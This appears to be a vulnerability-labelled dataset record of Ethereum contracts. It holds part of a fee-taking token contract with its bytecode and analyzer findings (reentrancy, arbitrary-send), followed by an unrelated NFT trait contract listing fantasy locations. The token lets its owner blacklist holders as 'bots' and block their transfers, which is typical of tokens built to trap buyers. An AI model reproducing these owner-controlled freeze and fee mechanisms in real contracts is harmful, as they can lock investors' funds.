_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (4 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 11, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f3578063cf0848f714610408578063cf9d4afa14610428578063dd62ed3e14610448578063e6ec64ec1461048e578063f2fde38b146104ae57600080fd5b8063715018a6146103255780638da5cb5b1461033a57806390d49b9d1461036257806395d89b4114610382578063a9059cbb146103b3578063b515566a146103d357600080fd5b806331c2d8471161010857806331c2d8471461023e5780633bbac5791461025e578063437823ec14610297578063476343ee146102b75780635342acb4146102cc57806370a082311461030557600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b557806318160ddd146101e557806323b872dd1461020a578063313ce5671461022a57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104ce565b005b34801561017e57600080fd5b506040805180820190915260088152672432b937a2a627a760c11b60208201525b6040516101ac91906118eb565b60405180910390f35b3480156101c157600080fd5b506101d56101d0366004611965565b61051a565b60405190151581526020016101ac565b3480156101f157600080fd5b50678ac7230489e800005b6040519081526020016101ac565b34801561021657600080fd5b506101d5610225366004611991565b610531565b34801561023657600080fd5b5060096101fc565b34801561024a57600080fd5b506101706102593660046119e8565b61059a565b34801561026a57600080fd5b506101d5610279366004611aad565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a357600080fd5b506101706102b2366004611aad565b610630565b3480156102c357600080fd5b5061017061067e565b3480156102d857600080fd5b506101d56102e7366004611aad565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031157600080fd5b506101fc610320366004611aad565b6106b8565b34801561033157600080fd5b506101706106da565b34801561034657600080fd5b506000546040516001600160a01b0390911681526020016101ac565b34801561036e57600080fd5b5061017061037d366004611aad565b610710565b34801561038e57600080fd5b506040805180820190915260088152672422a927a2a627a760c11b602082015261019f565b3480156103bf57600080fd5b506101d56103ce366004611965565b61078a565b3480156103df57600080fd5b506101706103ee3660046119e8565b610797565b3480156103ff57600080fd5b506101706108b0565b34801561041457600080fd5b50610170610423366004611aad565b610967565b34801561043457600080fd5b50610170610443366004611aad565b6109b2565b34801561045457600080fd5b506101fc610463366004611aca565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049a57600080fd5b506101706104a9366004611b03565b610c0d565b3480156104ba57600080fd5b506101706104c9366004611aad565b610c83565b6000546001600160a01b031633146105015760405162461bcd60e51b81526004016104f890611b1c565b60405180910390fd5b600061050c306106b8565b905061051781610d1b565b50565b6000610527338484610e95565b5060015b92915050565b600061053e848484610fb9565b610590843361058b85604051806060016040528060288152602001611c97602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113d4565b610e95565b5060019392505050565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016104f890611b1c565b60005b815181101561062c576000600560008484815181106105e8576105e8611b51565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062481611b7d565b9150506105c7565b5050565b6000546001600160a01b0316331461065a5760405162461bcd60e51b81526004016104f890611b1c565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062c573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052b9061140e565b6000546001600160a01b031633146107045760405162461bcd60e51b81526004016104f890611b1c565b61070e6000611492565b565b6000546001600160a01b0316331461073a5760405162461bcd60e51b81526004016104f890611b1c565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610527338484610fb9565b6000546001600160a01b031633146107c15760405162461bcd60e51b81526004016104f890611b1c565b60005b815181101561062c57600c5482516001600160a01b03909116908390839081106107f0576107f0611b51565b60200260200101516001600160a01b0316141580156108415750600b5482516001600160a01b039091169083908390811061082d5761082d611b51565b60200260200101516001600160a01b031614155b1561089e5760016005600084848151811061085e5761085e611b51565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a881611b7d565b9150506107c4565b6000546001600160a01b031633146108da5760405162461bcd60e51b81526004016104f890611b1c565b600c54600160a01b900460ff1661093e5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f8565b600c805460ff60b81b1916600160b81b17905542600d8190556109629060f0611b98565b600e55565b6000546001600160a01b031633146109915760405162461bcd60e51b81526004016104f890611b1c565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109dc5760405162461bcd60e51b81526004016104f890611b1c565b600c54600160a01b900460ff1615610a445760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f8565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abf9190611bb0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b309190611bb0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba19190611bb0565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c375760405162461bcd60e51b81526004016104f890611b1c565b600b811115610c7e5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b60448201526064016104f8565b600855565b6000546001600160a01b03163314610cad5760405162461bcd60e51b81526004016104f890611b1c565b6001600160a01b038116610d125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f8565b61051781611492565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6357610d63611b51565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de09190611bb0565b81600181518110610df357610df3611b51565b6001600160a01b039283166020918202929092010152600b54610e199130911684610e95565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e52908590600090869030904290600401611bcd565b600060405180830381600087803b158015610e6c57600080fd5b505af1158015610e80573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f8565b6001600160a01b038216610f585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f8565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f8565b6001600160a01b03821661107f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f8565b600081116110e15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f8565b6001600160a01b03831660009081526005602052604090205460ff16156111895760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f8565b6001600160a01b03831660009081526004602052604081205460ff161580156111cb57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e15750600c54600160a81b900460ff16155b80156112115750600c546001600160a01b03858116911614806112115750600c546001600160a01b038481169116145b156113c257600c54600160b81b900460ff1661126f5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f8565b50600c546001906001600160a01b03858116911614801561129e5750600b546001600160a01b03848116911614155b80156112ab575042600e54115b156112f25760006112bb846106b8565b90506112db60646112d5678ac7230489e8000060026114e2565b90611561565b6112e584836115a3565b11156112f057600080fd5b505b600d54421415611320576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132b306106b8565b600c54909150600160b01b900460ff161580156113565750600c546001600160a01b03868116911614155b156113c05780156113c057600c5461138a906064906112d590600b90611384906001600160a01b03166106b8565b906114e2565b8111156113b757600c546113b4906064906112d590600b90611384906001600160a01b03166106b8565b90505b6113c081610d1b565b505b6113ce84848484611602565b50505050565b600081848411156113f85760405162461bcd60e51b81526004016104f891906118eb565b5060006114058486611c3e565b95945050505050565b60006006548211156114755760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f8565b600061147f611705565b905061148b8382611561565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114f15750600061052b565b60006114fd8385611c55565b90508261150a8583611c74565b1461148b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f8565b600061148b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611728565b6000806115b08385611b98565b90508381101561148b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f8565b808061161057611610611756565b60008060008061161f87611772565b6001600160a01b038d166000908152600160205260409020549397509195509350915061164c90856117b9565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461167b90846115a3565b6001600160a01b03891660009081526001602052604090205561169d816117fb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116e291815260200190565b60405180910390a350505050806116fe576116fe600954600855565b5050505050565b6000806000611712611845565b90925090506117218282611561565b9250505090565b600081836117495760405162461bcd60e51b81526004016104f891906118eb565b5060006114058486611c74565b60006008541161176557600080fd5b6008805460095560009055565b60008060008060008061178787600854611885565b915091506000611795611705565b90506000806117a58a85856118b2565b909b909a5094985092965092945050505050565b600061148b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113d4565b6000611805611705565b9050600061181383836114e2565b3060009081526001602052604090205490915061183090826115a3565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118608282611561565b82101561187c57505060065492678ac7230489e8000092509050565b90939092509050565b6000808061189860646112d587876114e2565b905060006118a686836117b9565b96919550909350505050565b600080806118c086856114e2565b905060006118ce86866114e2565b905060006118dc83836117b9565b92989297509195505050505050565b600060208083528351808285015260005b81811015611918578581018301518582016040015282016118fc565b8181111561192a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051757600080fd5b803561196081611940565b919050565b6000806040838503121561197857600080fd5b823561198381611940565b946020939093013593505050565b6000806000606084860312156119a657600080fd5b83356119b181611940565b925060208401356119c181611940565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119fb57600080fd5b823567ffffffffffffffff80821115611a1357600080fd5b818501915085601f830112611a2757600080fd5b813581811115611a3957611a396119d2565b8060051b604051601f19603f83011681018181108582111715611a5e57611a5e6119d2565b604052918252848201925083810185019188831115611a7c57600080fd5b938501935b82851015611aa157611a9285611955565b84529385019392850192611a81565b98975050505050505050565b600060208284031215611abf57600080fd5b813561148b81611940565b60008060408385031215611add57600080fd5b8235611ae881611940565b91506020830135611af881611940565b809150509250929050565b600060208284031215611b1557600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9157611b91611b67565b5060010190565b60008219821115611bab57611bab611b67565b500190565b600060208284031215611bc257600080fd5b815161148b81611940565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c1d5784516001600160a01b031683529383019391830191600101611bf8565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5057611c50611b67565b500390565b6000816000190483118215151615611c6f57611c6f611b67565b500290565b600082611c9157634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203982bc9cb1cba5a127cee2e99da677cf7c32e122842b050fdfe3c1b773b5c2e364736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 188 |
0xD7CCa56F10778dA072a5dEfB183C568A2E7364F4 | // SPDX-License-Identifier: GPL-2.0
/**
* "The traits listed in quotation marks under the header contract AttrSpawnLocation are licensed
* under the Creative Commons Attribution 4.0 International License (“CC 4.0”). To view a copy
of this license, visit http://creativecommons.org/licenses/by/4.0/ or send a letter to Creative Commons,
* PO Box 1866, Mountain View, CA 94042, USA. For avoidance of doubt, combinations of such traits
* generated by the smart contract that references this smart contract are also licensed
* under CC 4.0. For purposes of attribution, the creator of these traits is
* the NPC Genesis Project (designed by Josh Garcia and Diana Stern)."
*/pragma solidity ^0.8.0;
interface TraitDB {
function viewTrait(uint256 _id) external view returns (string memory);
function totalTraits() external view returns (uint256);
}
contract AttrSpawnLocation is TraitDB {
string[] location = [
"Castle (grounds)"
, "Town square"
, "Market (covered)"
, "Market (open air)"
, "Tavern"
, "Farm"
, "Pasture"
, "Barren fields"
, "Orchard"
, "Road"
, "Crossroads"
, "Smithy"
, "Brewery"
, "Ferry"
, "Whorehouse"
, "Mosque"
, "Outhouse"
, "Sea port"
, "Sewers"
, "Slaughterhouse"
, "Guard tower"
, "Windmill "
, "Yurt"
, "Petting zoo"
, "Private quarters"
, "Hammersmith"
, "Staffmaker"
, "Katana forge"
, "Wandmaker"
, "Library"
, "Robier"
, "Clothier"
, "Dressmaker"
, "Tailor"
, "Jeweler"
, "Haberdasher"
, "Shoemaker"
, "Glover"
, "Enchanter"
, "Potion shop"
, "Poison shop"
, "Apothecary"
, "Cartographer"
, "Meadery"
, "Vomitorium"
, "Stronghold"
, "Mill"
, "Farmstead"
, "Altar of Worship"
, "Reflection Rock"
, "Corpse House"
, "Giant's Mausoleum"
, "Executioner's Mausoleum"
, "Rotting Mausoleum"
, "Phoenix Mound"
, "Titan's Mound"
, "Armageddon Rock"
, "Traveler's Sanctum"
, "Sand Mesa"
, "Tempest Overlook"
, "Grim Overlook"
, "Mountain of Vitriol"
, "Whispering Mountain"
, "Enlightened Mountain"
, "Bender Mountain"
, "Tiny Mountain"
, "Living Mountain"
, "Glowing Mountain"
, "Death Mountain"
, "Mount Gloom"
, "Blood Mountain"
, "Emerald Mountain"
, "Echo Mountain"
, "Nether Vale"
, "Dying Vale"
, "Nightmare Vale"
, "Royal Vale"
, "Hidden Vale"
, "Dread Vale"
, "Shimmering Vale"
, "Vale of Enlightenment"
, "Living Vale"
, "Vale of Reflection"
, "Vale of Song"
, "Vale of Oblivion"
, "Soul Vale"
, "Bender Mill"
, "Shimmering Mill"
, "Carrion Mill"
, "Spirit Mill"
, "Mill of Vitriol"
, "Southern Mill"
, "Twins' Ledge"
, "Moon Ledge"
, "Eagle Ledge"
, "Blight Ledge"
, "Dying Ledge"
, "Mourner's Ledge"
, "Beginner's Ledge"
, "Whispering Peak"
, "Agony Peak"
, "Armageddon's Origin"
, "Titan's Peak"
, "Dread Peak"
, "Steam Peak"
, "Sorrowful Road"
, "Royal Road"
, "Divine Road"
, "Elder Barrens"
, "Dying Barrens"
, "Golem Barrens"
, "Skink Barrens"
, "Eagle Crossroads"
, "Holy Crossroads"
, "Royal Pond"
, "Secret Pond"
, "Corpse Pond"
, "Thick Wood"
, "Labyrinth"
, "Dungeon"
, "Cavern"
, "Moss farm"
, "Catacombs"
, "Potter's field"
, "Graveyard"
, "Monastery"
, "Abbey"
, "Garret"
, "Dark Wood"
, "Desert"
, "Island"
, "Glebe"
, "Gladiator arena"
, "Gambling hall"
, "Bards' college"
, "Opera house"
, "Coal mine"
, "Opium den"
, "Dojo"
, "Confectionary"
, "Gypsy caravan"
, "Taxidermy parlor"
, "Witch's cottage"
, "Lighthouse"
, "Dead Man's Cove"
, "Fen"
, "Bog"
, "Elephant graveyard"
, "Debtor's prison"
, "Salt mine"
, "Chicken coop"
, "Shark's Cove"
, "Pirate's Cove"
, "Eucalyptus forest"
, "Thicket"
, "Bramble"
, "Nunnery"
, "Shopkeep (ink)"
, "Shopkeep (maps)"
, "Shopkeep (sounds)"
, "Shopkeep (sights)"
, "Shopkeep (memories)"
, "War memorial"
, "Public bathhouse"
, "Hammam"
, "Smuggler's Rest"
, "Elk lodge"
, "Misty encampment"
, "Empyrean grounds"
, "Nightmoon Harbor"
, "Sunbath Harbor"
, "Soul Hole"
, "Sorrowbound Marsh"
, "Mirror Isle"
, "Demonsoul Orchard"
, "Poor Onegin's Wreckage"
, "Oasis of Sand"
, "The Great Breach"
, "Traveler's Hut"
, "Pizza Hut"
, "Vengeance Reef"
, "Shimmering Atoll"
, "Royal Pass"
, "Agony Pass"
, "Giant's Pass"
, "Tinyman's Pass"
, "Hidden Pass"
, "Brimstone Pass"
, "Light's Pass"
, "Dire Pass"
, "Miracle Pass"
, "Pigeon Pass"
, "Valley of the Sun"
, "Valley of the Moon"
, "Elder Valley"
, "Beastchaser's Valley"
, "Nightmare Valley"
, "Ecstasy Valley"
, "Mage's Valley"
, "Traveler's Valley"
, "Enlightened Estate"
, "Blight Estate"
, "Master's Estate"
, "Corrupt Estate"
, "Rotting Estate"
, "Shadow Grounds"
, "Death Grounds"
, "Dying Grounds"
, "Spirit Grounds"
, "Rotting Grounds"
, "Royal Grounds"
, "Giant's Ruins"
, "Empyrean Ruins"
, "Hidden Ruins"
, "Elder Ruins"
, "Rotting Ruins"
, "Nightmare Ruins"
, "Mourner's Ruins"
, "Executioner's Ruins"
, "Living Ruins"
, "Demon Camp"
, "Northern Camp"
, "Hidden Camp"
, "Witch's Camp"
, "Tiny's House"
, "Demon House"
, "Traveler's Junction"
, "Executioner's Junction"
, "Echo Junction"
, "Empyrean Junction"
, "Pirate's Depot"
, "Twins' Depot"
, "Emerald Depot"
, "Wizard's Depot"
, "Moon Temple"
, "Divine Temple"
, "Eastern Temple"
, "Fire Temple"
, "Water Temple"
, "Beetle Gulch"
, "Shores of Time"
, "Miracle Sea"
, "Dying Sea"
, "Tempest Scar"
, "Skyfall Village"
, "Instrument Village"
, "Behemoth Village"
, "Northern Manor"
, "Tiny Chapel"
, "Church of Exuberance"
, "Bard's Square"
, "Divine Cathedral"
, "Divine Gate"
, "Shadow Fortress"
, "Fortress of Enlightenment"
, "Fortress of Reflection"
, "Moon Fortress"
, "Fortress of Brambles"
, "Shimmering Fortress"
, "Mind Fortress"
, "Fortress of Sorrow"
, "Fortress of Fate"
, "Ecstasy Fortress"
, "Tiny Fortress"
, "Executioner's Stead"
, "Hidden Catacombs"
, "Royal Catacombs"
, "Golem Graveyard"
, "Echo Reaches"
, "Beetle Hollow"
, "Den of the Kraken"
, "Den of the Phoenix"
, "Den of Medusa"
, "Altar of Detection"
, "Executioner's Point"
, "Demon Spire"
, "Dragon Spire"
, "Coast of Spirits"
, "Pufferfish Point"
, "Ember Keep"
, "Tiny Digsite"
, "River of Song"
, "Roaring River"
, "River of Time"
, "River of Joy"
, "Mirror Lake"
, "Titan's Rock"
, "Mind Excavation Site"
, "Spirit Watch"
, "Tiny Tower"
, "Joyous Bay"
, "Executioner's Run"
, "Fated Ravine"
, "Dragonhold"
, "Skyfall Canyon"
, "Carrion House"
, "Frozen Rapids"
, "Vengeance Cape"
, "Ecstasy Cape"
, "Victory Cape"
, "Sand Bog"
, "Poison Bog"
, "Dragon Court"
, "Royal Court"
, "Damnation Court"
, "Executioner's Court"
, "Bog of Eternal Hate"
, "Mourner's Lodge"
, "Abbey Road"
, "Brothel"
, "Northern Cave"
, "Southern Cave"
, "Eastern Cave"
, "Western Cave"
, "Oubliette"
, "Snake pit"
, "Den of thieves"
, "Citadel"
, "Vast Sea"
, "Sunken Desert"
, "Abandoned Ghost Town"
, "Night circus"
, "Royal library"
, "Elf haven"
, "Gnome haven"
, "Emperor's tea house "
, "Fortune teller "
, "Island fortress "
, "Enchanted forest"
, "Viking Smorgasbord"
, "Port of Demons"
, "Palace of the Emir"
, "Abyss"
, "Greenpath"
, "Resting Grounds"
, "Fog Canyon"
, "Crossroads of Wasted Memories"
, "Fungal Wastes"
, "Castle (waterways)"
, "Great Beehive"
, "City of Ice"
, "Isle of Venom"
, "The inside of a whale"
, "Zombie graveyard"
, "Mermaid's Grotto"
, "Fortress of Long Wings"
, "Hob hole"
, "Castle (dungeon)"
, "Castle (gates)"
, "Earthscar"
, "Brightsilk Tavern"
, "Volcano brim"
, "Lava lake"
, "Pufferfish pond"
, "Necromancer's tomb"
, "Spa"
, "Hinterlands"
, "Aging Blight"
, "Mutated Blight"
, "Royal Crypt"
, "Royal Landing"
, "Cottage of the Great Bard"
, "Divine Fortress"
, "Ruined fortress"
, "Ruined castle"
, "Burnt wood"
, "Mythic grounds"
, "Valley of Giants"
, "The Rampart"
, "Moonrise Plateau"
, "Tiny's Tomb"
, "Blood Garrison"
, "Giant's Citadel"
, "Doom Citadel"
, "Agony Falls"
, "Vengeance Falls"
, "Dream Falls"
, "Demon Perch"
, "Dragon Perch"
, "Eagle Perch"
, "Mirror Glacier"
, "Tear Glacier"
, "Medusa's Cavern"
, "Blood Wilds"
, "Sorrowful Wilds"
, "Southern Wilds"
, "Blood Springs"
, "Brimstone Springs"
, "Hate Springs"
, "Fox Quarry"
, "Whispering Quarry"
, "Royal Armory"
, "Apprentice Armory"
, "Pirate's Armory"
, "Lover's Glen"
, "Sorrowful Wood"
, "Hidden Wood"
, "Damnation Wood"
, "Royal Forest"
, "Moon Sanctuary"
, "Light's Sanctuary"
, "Mourner's Sanctuary"
, "Bramble Sanctuary"
, "Bramble Forest"
, "Elder Forest"
, "Secret Forest"
, "Night Forest"
, "Ghost Forest"
, "Sun Sanctuary"
, "Shouting Lighthouse"
, "Hypnotic Lighthouse"
, "Chimeric Retreat"
, "Phoenix Hill"
, "Shimmering Hill"
, "Dying Fields"
, "Victory Fields"
, "Damnation Fields"
, "Honor's Fields"
, "Viper Gorge"
, "Eagle Tributary"
, "Pegasus Crossing"
, "Rune Mine"
, "Terrace of Oblivion"
, "Sun Basin"
, "Shimmering Basin"
, "Giant's Basin"
, "Whispering Cove"
, "Damnation Cove"
, "Poison Cove"
, "Giant's Peninsula"
, "Nightmare Peninsula"
, "Executioner's Blight"
, "Plague District"
, "Witch's Corner"
, "Diamondlands"
, "Blood Beach"
, "Tempest Beach"
, "Carrion Beach"
, "Shadow Jetty"
, "Glasshouse Rock"
, "Pirate ship"
, "Dragon's lair"
, "Subterranean cave"
, "Dirigible"
, "Emerald mine"
, "Path of the Ancients"
, "Path of the Divine"
, "Path of Dragons"
, "Path of the Katana"
, "Path of Crowns"
, "Witch's tower"
, "Botanical gardens"
, "Hall of Mirrors"
, "Endless Tower"
, "Griffon hatchery"
, "Druidic shrine"
, "The Great Pyre"
, "Everchill Plains"
, "Exotic zoo "
, "Floating castle"
, "Tower of Pain "
, "Obelisk of the Necromancer"
, "Caves of Fire and Sun"
, "Great Weeping Willow"
, "King's Gardens"
, "Queen's Gardens"
, "Bryneich"
, "The Sunken Monastery"
, "The Royal Tannery"
, "Giant's house "
, "Castle (war room)"
, "Masseuse"
, "Prison Isle"
, "Twin Peaks (North Peak)"
, "Twin Peaks (South Peak)"
, "Divine Valley"
, "Moon Valley"
, "Valley of the Twins"
, "Blood Moon Peak"
, "Castle (keep)"
, "Time Palace"
, "Moon Palace"
, "Cloud Palace"
, "Divine Chamber"
, "Misty Mountains"
, "Central Park"
, "Star Chamber"
, "Matachin Tower"
, "Circle of Crowns"
, "Creator's Sphere"
, "Ancient Chamber"
, "Atrium of Time"
, "School of Wizardry"
, "Asgard"
, "Magic chocolate factory"
, "Embassy of the Elves"
, "Fountain of Youth"
, "Haunted Dwarven Mines"
, "Citadel of the Assassin "
, "Garden of Endless Sleep"
, "Fountain of Wealth"
, "Elysian Fields"
, "Tub of Archimedes"
, "Ring of the Fisherman"
, "Atlantis"
, "The Bog of Names"
, "Maison de Plaisir"
, "Nessus"
, "Gyoll River"
, "Saltus"
, "The House Absolute"
, "Lake Diuturna"
, "Thrax"
, "Urth"
, "Citadel of the Autarch"
, "Salamadastron"
, "Ilium"
, "The Land of Foon"
, "Demi-God Hamlet"
, "Ooo"
];
function viewTrait(uint256 _id) external override view returns (string memory) {
return location[_id];
}
function totalTraits() external override view returns (uint256) {
return location.length;
}
}
